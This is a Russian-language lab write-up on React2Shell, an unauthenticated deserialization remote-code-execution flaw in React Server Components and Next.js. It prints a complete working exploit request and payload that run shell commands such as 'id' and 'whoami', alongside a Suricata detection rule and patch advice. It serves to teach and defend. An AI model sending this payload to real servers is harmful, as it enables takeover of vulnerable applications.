
React2Shell CVE-2025-55182: неаутентифицированная небезопасная десериализация в React Server Components, приводящая к надёжному удалённому выполнению кода через протокол Flight.
Сложность: Средняя → Продвинутая
Категория: Веб-эксплуатация | Десериализация | RCE

CVE-2025-55182, получившая прозвище React2Shell, — одна из тех уязвимостей, которые мгновенно заставляют защитников нервничать 😬. Обнаруженная в декабре 2025 года, она имеет оценку CVSS 10.0, что уже говорит о том, что это не какая-то пограничная ошибка.
По своей сути эта уязвимость затрагивает серверные компоненты React (RSC) и фреймворки, построенные на их основе, — в первую очередь Next.js. Что самое страшное?
👉 Неавторизованное удалённое выполнение кода (RCE) 👉 Один сформированный HTTP-запрос 👉 Конфигурации по умолчанию уязвимы
Никакого входа в систему. Никаких специальных разрешений. Просто один хорошо составленный запрос.
react-server-dom-webpackreact-server-dom-parcelreact-server-dom-turbopackЭта лаборатория проведёт нас через почему эта ошибка существует, как её эксплуатировать и что могут сделать защитники.
Флаг: Ответ не требуется.
Прежде чем перейти к эксплуатации, нужно разобраться в архитектуре.
Серверные компоненты React (появившиеся в React 19) позволяют частям React-приложения выполняться на сервере, а не в браузере. Это означает:
Общение между клиентом и сервером происходит через протокол React Flight. Этот протокол сериализует данные на клиенте и десериализует их на сервере.
Он использует специальные маркеры:
$@ → Ссылка на чанк
$B → Ссылка на Blob
Пути к свойствам через двоеточие Пример:
$1:constructor:constructor
⚠️ И именно в этой логике сериализации и кроется проблема.
Вопрос: Какой символ обозначает ссылку на Blob?
✅ Ответ: $B
В основе CVE-2025-55182 лежит классическая ошибка небезопасной десериализации.
Посмотрим на уязвимый паттерн (не обрезать 👇):
function requireModule(metadata) {
var moduleExports = __webpack_require__(metadata[0]);
// ... дополнительная логика ...
return moduleExports[metadata[2]]; // УЯЗВИМАЯ СТРОКА
}
В JavaScript скобочная нотация:
obj[someKey]
не ограничивает доступ только к экспортированным свойствам. Она проходит по всей цепочке прототипов.
Теперь ключевое наблюдение 👀:
.constructorconstructor указывает на конструктор FunctionFunction("code") = произвольное выполнение JSПоскольку протокол Flight допускает пути через двоеточие, атакующий может отправить:
$1:constructor:constructor
Что разрешается в:
.constructor.constructor → FunctionНа этом моменте игра окончена 🎮.
Флаг: Ответ не требуется.
Теперь разберём PoC от maple3142 шаг за шагом.
Атакующий отправляет multipart-запрос, содержащий поддельный объект Chunk:
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\\"then\\":\\"$B1337\\"}",
"_response": {
"_prefix": "process.mainModule.require('child_process').execSync('xcalc');",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
Этот объект имитирует внутреннюю структуру Chunk в React.
Указывая then на Chunk.prototype.then, React обманывается и ожидает выполнения управляемой атакующим логики.
Маркер $B1337 запускает обработчик десериализации Blob, который внутри выполняет:
response._formData.get(response._prefix + id)
Но мы отравили:
_formData.get → Function_prefix → вредоносный JSВ результате выполняется:
Function("process.mainModule.require('child_process').execSync('xcalc');1337")
💥 Произвольное выполнение JavaScript достигнуто.
PoC выполняет:
process.mainModule
.require('child_process')
.execSync('xcalc')
Это можно легко заменить на:
Флаг: Ответ не требуется.
Вот полный эксплойт-запрос (дословно, не обрезан):
POST / HTTP/1.1
Host: localhost
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('xcalc');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
(…тело multipart продолжается…)
Next-Action запускает серверные действияmultipart/form-data обязателен$@0 создаёт само-ссылку$B1337 запускает логику Blobconstructor:constructor ведёт к FunctionЭто не случайность — это точно выстроенная цепочка.
React: 19.0.0, 19.1.0, 19.1.1, 19.2.0
Next.js:
Другие: React Router (RSC), Waku, Redwood SDK
📊 Исследование Wiz: 39% облачных сред подвержены 🌐 Shodan: 571k+ серверов React, 444k+ Next.js
Это… довольно много 😶
Сначала в Repeater создайте новый HTTP-запрос и выберите цель.

Используя Burp Suite Repeater, отправляем полезную нагрузку:
execSync('id')

А затем:
execSync('whoami')

Пользователь: ubuntu
Флаг:
{React-19.2.0}
Чистая, надёжная, повторяемая эксплуатация 💀
Хорошие новости для защитников 👮♂️ — эксплуатация оставляет следы.
Next-Actionmultipart/form-data"status":"resolved_model""then":"$1:__proto__:then"Они никогда не должны появляться в обычном пользовательском трафике.
alert http any any -> $LAN_NETWORK any (
msg:"Potential Next.js React2Shell / CVE-2025-66478 attempt";
flow:to_server,established;
content:"Next-Action"; http_header; nocase;
content:"multipart/form-data"; http_header; nocase;
pcre:"/Content-Disposition:\s*form-data;\s*name=\"0\"/s";
pcre:"/\"status\"\s*:\s*\"resolved_model\"/s";
pcre:"/\"then\"\s*:\s*\"\$1:__proto__:then\"/s";
classtype:web-application-attack;
sid:6655001;
rev:1;
)
{
"queries": {
"detect_rev2shell_react_server_components": {
"query": "SELECT name, version, path FROM npm_packages WHERE ...",
"interval": 3600
}
}
}
Отлично подходит для:

React2Shell — это классический пример того:
После установки исправленных версий и выполнения рекомендаций npm audit эксплойт полностью умирает ✅.
⚠️ Никогда не тестируйте это за пределами авторизованных лабораторий.
🔥 Всегда быстро устанавливайте патчи.
🧠 Всегда понимайте почему существует ошибка — а не только как её эксплуатировать.
Если вам понравился этот разбор или вы хотите оставаться на связи с моей работой в области кибербезопасности, CTF и VAPT:
🔗 GitHub: https://github.com/AdityaBhatt3010
💼 LinkedIn: https://www.linkedin.com/in/adityabhatt3010/
✍️ Medium: https://medium.com/@adityabhatt3010
Удачного хакинга — ответственно 🗿🚀